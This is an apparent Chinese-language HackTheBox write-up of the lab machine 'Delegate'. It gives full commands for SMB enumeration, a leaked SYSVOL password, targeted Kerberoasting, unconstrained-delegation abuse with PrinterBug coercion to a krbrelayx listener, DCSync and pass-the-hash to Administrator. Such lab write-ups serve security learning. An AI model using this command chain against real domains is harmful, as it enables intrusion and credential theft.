Windows域渗透实战:从SMB凭证泄露到DCSync提权

本文详细记录了针对Windows域控制器的完整渗透测试过程,从SMB共享中的脚本泄露凭证开始,通过Kerberoasting攻击获取shell,利用SeEnableDelegationPrivilege配置无约束委派,最终通过DCSync获取域管理员权限的全流程技术分析。

HTB: Delegate 渗透测试报告

侦察阶段

初始扫描

使用nmap扫描发现24个开放TCP端口,识别为Windows域控制器:

1
nmap -p- -vvv --min-rate 10000 10.129.56.255

关键端口包括:

  • 53/tcp - DNS服务
  • 88/tcp - Kerberos认证
  • 445/tcp - SMB文件共享
  • 5985/tcp - WinRM远程管理

域名为delegate.vl,主机名为DC1

SMB枚举

通过guest身份认证进行RID暴力破解,发现域用户:

1
netexec smb dc1.delegate.vl -u guest -p '' --rid-brute

发现关键用户:A.Briggs、N.Thompson等。

初始访问

SYSVOL脚本泄露

在SYSVOL共享中发现users.bat脚本:

1
2
3
4
5
rem @echo off
net use * /delete /y
net use v: \\dc1\development 

if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator P4ssw0rd1#123

获取到A.Briggs的凭证:P4ssw0rd1#123

认证验证

1
netexec smb dc1.delegate.vl -u A.Briggs -p 'P4ssw0rd1#123'

横向移动

BloodHound数据收集

使用A.Briggs凭证收集Active Directory信息:

1
netexec ldap dc1.delegate.vl -u A.Briggs -p 'P4ssw0rd1#123' --bloodhound -c All

分析显示A.Briggs对N.Thompson具有GenericWrite权限。

定向Kerberoasting攻击

利用GenericWrite权限为N.Thompson添加SPN并获取Kerberos票据:

1
targetedKerberoast.py -d 'delegate.vl' -u A.Briggs -p P4ssw0rd1#123

使用hashcat破解票据:

1
hashcat N.Thompson.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

获取密码:KALEB_2341

获取Shell

通过WinRM连接获取N.Thompson的shell:

1
evil-winrm-py -i dc1.delegate.vl -u N.Thompson -p KALEB_2341

权限提升

权限枚举

检查用户特权:

1
whoami /priv

发现关键权限:

  • SeEnableDelegationPrivilege(启用委派)
  • SeMachineAccountPrivilege(添加工作站到域)

无约束委派攻击

创建机器账户

1
addcomputer.py -computer-name oxdf -computer-pass 0xdf0xdf. -dc-ip 10.129.56.255 delegate.vl/N.Thompson:'KALEB_2341'

配置DNS记录

1
dnstool.py -u 'delegate.vl\oxdf$' -p '0xdf0xdf.' --action add --record oxdf.delegate.vl --data 10.10.14.35 --type A

设置SPN

1
addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'cifs/oxdf.delegate.vl' -t 'oxdf$' --additional

启用无约束委派

1
bloodyAD -d delegate.vl -u N.Thompson -p KALEB_2341 add uac 'oxdf$' -f TRUSTED_FOR_DELEGATION

中继攻击

启动krbrelayx捕获TGT:

1
krbrelayx.py -hashes :02cb8258df07966e32677128e5ff1d26

强制域控制器认证:

1
netexec smb dc1.delegate.vl -u 'oxdf$' -p 0xdf0xdf. -M coerce_plus -o LISTENER=oxdf.delegate.vl METHOD=PrinterBug

DCSync攻击

使用捕获的机器账户TGT执行DCSync:

1
KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache netexec smb dc1.delegate.vl --use-kcache --ntds

获取管理员NTLM哈希:c32198ceab4cc695e65045562aa3ee93

最终访问

使用哈希通过WinRM连接为管理员:

1
evil-winrm-py -i dc1.delegate.vl -u administrator -H c32198ceab4cc695e65045562aa3ee93

成功获取系统完全控制权限。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计